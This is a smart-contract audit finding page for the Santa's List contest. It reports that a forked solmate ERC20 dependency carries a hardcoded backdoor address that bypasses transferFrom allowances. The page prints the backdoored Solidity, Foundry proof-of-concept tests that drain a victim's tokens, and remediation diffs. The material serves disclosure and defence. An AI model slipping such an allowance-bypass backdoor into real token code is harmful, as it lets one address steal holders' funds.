Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

`solmate-bad` ERC20 Dependency Contains Hardcoded Backdoor Address

Description

  • SantaToken inherits from the ERC20 base contract provided by the solmate-bad library (lib/solmate-bad), a third-party fork of the canonical transmissions11/solmate library. The foundry.toml remapping @solmate=lib/solmate-bad routes all @solmate imports to this fork.

  • The transferFrom function in solmate-bad's ERC20 implementation contains a hardcoded special case that completely bypasses allowance checks for a single privileged address (0x815F577F1c1bcE213c012f166744937C889DAF17). When msg.sender matches this address, the function transfers tokens from any from address to any to address — with no allowance required and no revert possible. This is a supply chain backdoor: the malicious code lives in a dependency, not in the protocol's own contracts:

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// @> hehehe comment signals intentional malice
// @> hardcoded address bypasses ALL allowance logic
if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
// normal allowance-checked path below...
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
// ...
}

The address 0x815F577F1c1bcE213c012f166744937C889DAF17 matches the author address in SantasList.sol's NatSpec comment (@author South Pole Elves 0x815f577f1c1bce213c012f166744937c889daf17), confirming this is intentional.

Risk

Likelihood:

  • The controller of private key 0x815F... can execute this attack at any time after SantaTokens have been distributed — no on-chain conditions need to be met beyond token holders existing.

  • The backdoor is silent: the emitted Transfer event looks identical to a legitimate transfer, making off-chain detection difficult without monitoring the msg.sender of the triggering transaction.

Impact:

  • Any SantaToken holder's entire balance can be transferred to an arbitrary address without their knowledge or consent.

  • The integrity of the ERC20 token is completely compromised — the standard allowance model cannot be trusted for this token.

  • The attack is not recoverable at the protocol layer; the vulnerability is in the inherited library code.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {Test} from "forge-std/Test.sol";
import {SantasList} from "../../src/SantasList.sol";
import {SantaToken} from "../../src/SantaToken.sol";
contract CRIT03_BackdoorAddress is Test {
SantasList santasList;
SantaToken santaToken;
address santa = makeAddr("santa");
address victim = makeAddr("victim");
// The hardcoded backdoor address from solmate-bad ERC20.sol
address backdoor = 0x815F577F1c1bcE213c012f166744937C889DAF17;
function setUp() public {
vm.prank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
// Give victim tokens legitimately
vm.startPrank(santa);
santasList.checkList(victim, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(victim, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.prank(victim);
santasList.collectPresent(); // victim receives 1e18 SantaTokens
}
function test_BackdoorCanDrainAnyBalanceWithoutApproval() public {
assertEq(santaToken.balanceOf(victim), 1e18, "victim has tokens");
assertEq(santaToken.balanceOf(backdoor), 0, "backdoor starts empty");
// Victim has given ZERO allowance to the backdoor address
assertEq(santaToken.allowance(victim, backdoor), 0, "no allowance given");
// Backdoor drains victim's full balance without any approval
vm.prank(backdoor);
santaToken.transferFrom(victim, backdoor, 1e18);
assertEq(santaToken.balanceOf(victim), 0, "victim fully drained");
assertEq(santaToken.balanceOf(backdoor), 1e18, "backdoor received stolen tokens");
}
}

Explanation: The victim holds 1e18 SantaTokens and has granted zero allowance to the backdoor address. The backdoor address calls transferFrom(victim, backdoor, 1e18). Because msg.sender == 0x815F..., the function enters the special-case branch that skips allowance checking entirely and transfers the balance unconditionally. The victim is completely drained with no on-chain mechanism to prevent it.

Recommended Mitigation

# foundry.toml — replace the malicious fork with canonical solmate
remappings = [
'@openzeppelin/contracts=lib/openzeppelin-contracts/contracts',
- '@solmate=lib/solmate-bad',
+ '@solmate=lib/solmate',
]
# .gitmodules — remove the malicious submodule
- [submodule "lib/solmate-bad"]
- path = lib/solmate-bad
- url = https://github.com/patrickalphac/solmate-bad

Explanation: Replacing the solmate-bad fork with the canonical transmissions11/solmate library removes the backdoor entirely. The canonical library's transferFrom has no special-cased addresses and enforces allowance checks for all callers. As an alternative, use OpenZeppelin's ERC20 (@openzeppelin/contracts/token/ERC20/ERC20.sol) which also has no such backdoor. Never include unreviewed or suspiciously named forks of security-critical libraries. The name solmate-bad itself is a clear warning sign that was present in plain sight.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-05] Malicious Code Injection in solmate ERC20 Contract inside `transferFrom` function which is inherited in `SantaToken`

## Description A malicious code is detected in a modified version of the Solmate ERC20 contract inside the `transferFrom` function. The library was forked from the Solmate repository and has been modified to include the malicious code. The `SantaToken` contract inherits this malicious ERC20 contract which brings all the risks inside the SantaToken contract that are associated with the modified ERC20 contract. The code is modified in such a way to allow a specific address to transfer tokens without checking for allowances and thus it causes token transfers without the permission of the users. ## Vulnerability Details Instead of using the official [Solmate's](https://github.com/transmissions11/solmate) ERC20 contract a [forked Solmate](https://github.com/patrickalphac/solmate-bad/tree/c3877e5571461c61293503f45fc00959fff4ebba) library was used which contains the modified ERC20 contract. The vulnerability arises due to the usage of unofficial solmate repo which was forked from official solmate containing a commit involving the malicious code injected inside the `transferFrom` function of the Solmate's ERC20 contract. The malicious code added to the `transferFrom` function allows a specific Ethereum address `0x815F577F1c1bcE213c012f166744937C889DAF17` to transfer tokens from any other address to a target address. This is done without checking the approval status of the `from` address. This could lead to unauthorized token transfers, potentially draining accounts without the account owner's consent. The address `0x815F577F1c1bcE213c012f166744937C889DAF17` is the same address of the `South Pole Elves` mentioned in the `@author` field for the Smart Contracts [here](https://github.com/Cyfrin/2023-11-Santas-List/blob/main/src/SantasList.sol#L55). The malicious code starts from the line 87 to line 96 inside the `transferFrom` in the modified Solmate's ERC20 contract. ```cpp function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) { @> // hehehe :) @> // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d @> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) { @> balanceOf[from] -= amount; @> unchecked { @> balanceOf[to] += amount; @> } @> emit Transfer(from, to, amount); @> return true; @> } uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } ``` ## Impact This vulnerability allows the attacker (with the ethereum adress - `0x815F577F1c1bcE213c012f166744937C889DAF17`) to arbitrarily transfer tokens from any address to any other address without requiring approval from the `from` address to attacker's address. This can lead to significant financial loss for token holders and can undermine the trust in the SantaToken. Since the malicious code is present in ERC20 contract which is inherited in `SantaToken` which will allow the attacker to arbitrarily transfer SantaToken from any address to any other address and use the stolen SantaToken to buy present. Furthermore, if there are any other services which can be availed with SantaToken, then attacker can benefit from all of them. ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol`. Run the test: ```cpp forge test --mt test_ElvesCanTransferTokenWithoutApprovals ``` ```cpp function test_ElvesCanTransferTokenWithoutApprovals() public { // address of the south pole elves address southPoleElves = 0x815F577F1c1bcE213c012f166744937C889DAF17; vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); // Now the user have some SantaTokens uint256 userBalance = santaToken.balanceOf(user); assertEq(userBalance, 1e18); // user needs to give approval to others in order to move tokens to other addresses via 'transferFrom' // but the south pole elves can move tokens of anyone without approval permissions vm.prank(southPoleElves); bool success = santaToken.transferFrom(user, southPoleElves, userBalance); assert(success == true); assertEq(santaToken.balanceOf(user), 0); assertEq(santaToken.balanceOf(southPoleElves), userBalance); } ``` ## Recommendations - Santa should first identify the specific elves who were responsible for the malicious code and start their counselling as soon as possible and teach them a nice lesson so that they don't write smart contracts with malicious intent and should also motivate them to apply to Cyfrin Updraft. - Use the ERC20 contract from the official Solmate's library. Always verify the code before it is used in the SmartContract and always use code from official source. - Delete the malicious forked solmate library from the `lib` folder. - Refactor the library installs in every place. - `Makefile (Line - 13)` ```diff - install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install patrickalphac/solmate-bad --no-commit + install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install transmissions11/solmate --no-commit ``` - `foundry.toml` ```diff remappings = [ '@openzeppelin/contracts=lib/openzeppelin-contracts/contracts', - '@solmate=lib/solmate-bad', + '@solmate=lib/solmate', ] ``` - `.gitmodules` ```diff [submodule "lib/forge-std"] path = lib/forge-std url = https://github.com/foundry-rs/forge-std [submodule "lib/openzeppelin-contracts"] path = lib/openzeppelin-contracts url = https://github.com/openzeppelin/openzeppelin-contracts -[submodule "lib/solmate-bad"] - path = lib/solmate-bad - url = https://github.com/patrickalphac/solmate-bad +[submodule "lib/solmate"] + path = lib/solmate + url = https://github.com/transmissions11/solmate ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!